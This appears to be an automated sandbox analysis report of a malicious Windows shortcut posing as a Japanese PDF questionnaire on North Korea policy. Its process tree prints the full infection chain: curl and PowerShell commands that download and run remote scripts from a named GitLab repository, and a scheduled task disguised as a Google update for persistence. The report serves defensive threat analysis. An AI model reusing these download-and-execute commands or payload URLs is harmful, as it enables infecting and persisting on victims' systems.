Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/11/2026, 22:45

General

  • Target
    米中首脳会談とトランプ次期政権の対北朝鮮政策に関する資料質問紙.pdf.lnk
  • Size 1KB
  • Sample261104-2pexvsvydt
  • SHA256 0bda23628a5955e0a089d5459631224f10c9d7f72a5ede5603e7465f8651c239
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://gitlab.com/rabbit779/giraff88/-/raw/main/help.ini?ref_type=heads

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\米中首脳会談とトランプ次期政権の対北朝鮮政策に関する資料質問紙.pdf.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c mode 15,1&curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads" -o "C:\Users\Admin\AppData\Roaming\whiskak.pdf"&explorer.exe "C:\Users\Admin\AppData\Roaming\whiskak.pdf"&curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/first.ini?ref_type=heads" -o "c:\users\public\wiska.vbe"&c:\users\public\wiska.vbe
      2⤵
      • Checks computer location settings
      • Executes a command shell one-liner
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\system32\mode.com
        mode 15,1
        3⤵
          PID:4960
        • C:\Windows\system32\curl.exe
          curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/us8i.pdf?ref_type=heads" -o "C:\Users\Admin\AppData\Roaming\whiskak.pdf"
          3⤵
            PID:2424
          • C:\Windows\explorer.exe
            explorer.exe "C:\Users\Admin\AppData\Roaming\whiskak.pdf"
            3⤵
              PID:2836
            • C:\Windows\system32\curl.exe
              curl -k -L "https://gitlab.com/rabbit779/giraff88/-/raw/main/first.ini?ref_type=heads" -o "c:\users\public\wiska.vbe"
              3⤵
                PID:2696
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\users\public\wiska.vbe"
                3⤵
                • Checks computer location settings
                • Executes a VBScript file via the Windows Script Host.
                • Suspicious use of WriteProcessMemory
                PID:3936
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -w 1 -Command "$a=(New-Object Net.WebClient).DownloadString('https://gitlab.com/rabbit779/giraff88/-/raw/main/help.ini?ref_type=heads');$b=[ScriptBlock]::Create($a);& $b;"
                  4⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3556
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /delete /tn GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-E498ABE7C33} /f
                    5⤵
                      PID:3172
                    • C:\Windows\system32\schtasks.exe
                      "C:\Windows\system32\schtasks.exe" /create /TN GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-E498ABE7C33} /TR "c:\windows\system32\wscript.exe //e:vbscript /b C:\Users\Public\Music\horaks.vbe" /SC minute /MO 15 /f
                      5⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1696
                    • C:\Windows\system32\systeminfo.exe
                      "C:\Windows\system32\systeminfo.exe"
                      5⤵
                      • Gathers system information
                      PID:3264
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
              1⤵
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:1032
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\whiskak.pdf"
                2⤵
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                • Modifies Internet Explorer settings
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:4276
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4640
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=82D9220D8AADA50D019B818170B492F4 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=82D9220D8AADA50D019B818170B492F4 --renderer-client-id=2 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job /prefetch:1
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:4092
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=434552160046ECBB32A7FD6F13827AFE --mojo-platform-channel-handle=1776 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:920
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AFA346DA0D67D7D87619FF159DD9C50E --mojo-platform-channel-handle=2344 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:3916
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=659FCF309DCFCE83936D6725AC179320 --mojo-platform-channel-handle=2460 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:2256
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=130EEE67B3527E624C8FA6C4EEE28395 --mojo-platform-channel-handle=2392 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:4340
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BF0FB7FFCCBF9ABBE73DCD5F2F498946 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BF0FB7FFCCBF9ABBE73DCD5F2F498946 --renderer-client-id=7 --mojo-platform-channel-handle=2060 --allow-no-sandbox-job /prefetch:1
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:2588
            • \??\c:\windows\system32\wscript.exe
              c:\windows\system32\wscript.exe
              1⤵
                PID:3772

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    ReaderMessages

                    • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                    • Size 64KB
                    • SHA256 44b47fa6cd1502366014c3a7a2023d49be10a9cef46904e7e6900d005d68ffda
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    ReaderMessages

                    • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                    • Size 36KB
                    • SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    ReaderMessages

                    • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                    • Size 56KB
                    • SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    __PSScriptPolicyTest_x2nocwdk.y4a.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2nocwdk.y4a.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    whiskak.pdf

                    • Path C:\Users\Admin\AppData\Roaming\whiskak.pdf
                    • Size 37KB
                    • SHA256 5afc90f99bedc54ade27cb34ff7c824968f009b56d83f79f5513fd5bf5464211
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    wiska.vbe

                    • Path C:\users\public\wiska.vbe
                    • Size 646B
                    • SHA256 cd94b4fa51812fdc4945c8dbef808fcdfd0ce96249bcb7ee0344af77b205e93c
                    • MD5 SHA1 SHA512 TLSH

                    memory/3556-35-0x0000027BE1E10000-0x0000027BE1FD2000-memory.dmp

                    memory/3556-36-0x0000027BE2510000-0x0000027BE2A38000-memory.dmp

                    memory/3556-37-0x0000027BE1570000-0x0000027BE178C000-memory.dmp

                    memory/3556-5-0x0000027BE1540000-0x0000027BE1562000-memory.dmp

                    memory/3556-127-0x0000027BE1570000-0x0000027BE178C000-memory.dmp

                    memory/4276-130-0x000000000B7C0000-0x000000000BA6B000-memory.dmp

                    memory/4276-128-0x000000000B7C0000-0x000000000BEB2000-memory.dmp